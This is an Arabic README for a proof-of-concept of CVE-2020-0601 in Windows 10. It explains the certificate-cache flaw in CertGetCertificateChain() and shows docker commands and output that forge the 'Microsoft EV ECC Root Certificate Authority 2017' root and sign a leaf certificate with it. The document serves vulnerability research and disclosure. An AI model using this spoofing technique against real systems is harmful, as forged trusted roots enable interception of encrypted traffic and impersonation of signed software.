
إثبات المفهوم لـ CVE-2020-0601
إثبات مفهوم ممتع لإنشاء شهادة جذر خاصة (Root CA) وشهادة موقعة بناءً على ثغرة CVE-2020-0601 في ويندوز 10. أساس المشكلة هو أن طريقة CertGetCertificateChain() لم تتحقق بشكل صحيح من سلطات الشهادات الجذرية. نظرًا لأن البحث عن شهادة توقيع داخل مخزن الثقة قد يكون مكلفًا، نفذت مايكروسوفت ذاكرة تخزين مؤقت تستخدم المفتاح العام للشهادة الجذرية المقدمة لتحديد ما إذا كانت هذه الشهادة قد تم تحميلها سابقًا من مخزن الثقة. ومع ذلك، بالنسبة لشهادات المنحنيات الإهليلجية، يحتوي SubjectPublicKeyInfo على أكثر من مجرد مفتاح عام. يجب أن تشير شهادات المنحنيات الإهليلجية إلى المنحنى الإهليلجي المحدد (أو توفير معلمات منحنى إهليلجي مخصصة خاصة بها). تحدث الثغرة لأن معلمات المنحنى الإهليلجي لا يتم تضمينها في البحث في ذاكرة التخزين المؤقت. يمكننا أخذ مفتاح عام موجود، واختيار مفتاح خاص جديد، وحساب معلمات المنحنى التي تجعل هذا المزيج صالحًا، وإنشاء شهادة جذرية ستجتاز بحث مايكروسوفت الضعيف سابقًا في ذاكرة التخزين المؤقت.
يُظهر هذا المستودع تزييف الشهادة الجذرية الموثوقة "Microsoft EV ECC Root Certificate Authority 2017" واستخدام هذه الهيئة الجذرية الجديدة لتوقيع شهادة طرفية.

docker build -t gringotts .
$ docker run --rm -it -v "$(pwd):/host" -w /host gringotts
Modified generator:
04bb3de13398a18e1c0d1a2d77ae8cbb9ea358d8c5c075eac51e0c408a0367db2ba187f1ab2febd8859d4c12811563fae6056fef803bff43964ca15c63a28cdc1fdfd38dab9fac20e7a8fa1fae619e576ee5706423414a3c3f8c7e1a2d8adc9cd7
Serializing root.txt and self-sign root certificate
Writing ca/root.pem
Serializing root private key
Writing ca/root-key.pem
read EC key
writing EC key
Generating a RSA private key
...............................................+++++
.........................................................................................+++++
writing new private key to 'ssl/server-key.pem'
-----
Using configuration from /usr/lib/ssl/openssl.cnf
Check that the request matches the signature
Signature ok
Certificate Details:
Serial Number:
7c:e6:11:18:1c:5a:14:3e:6f:f0:e2:85:ea:5f:c7:dc:50:a4:b9:b2
Validity
Not Before: Apr 30 00:00:00 2018 GMT
Not After : Aug 1 00:00:00 2020 GMT
Subject:
countryName = GB
stateOrProvinceName = Scotland
localityName = Highlands
organizationName = Gringotts
organizationalUnitName = Hogwarts Castle
commonName = hogwarts.lf.lc
X509v3 extensions:
X509v3 Subject Alternative Name:
DNS:hogwarts.lf.lc
Certificate is to be certified until Aug 1 00:00:00 2020 GMT (184 days)
Write out database with 1 new entries
Data Base Updated
$ tree
.
├── ca
│ ├── root-key.pem
│ └── root.pem
└── ssl
├── server-bundle.pem
├── server-key.pem
└── server.pem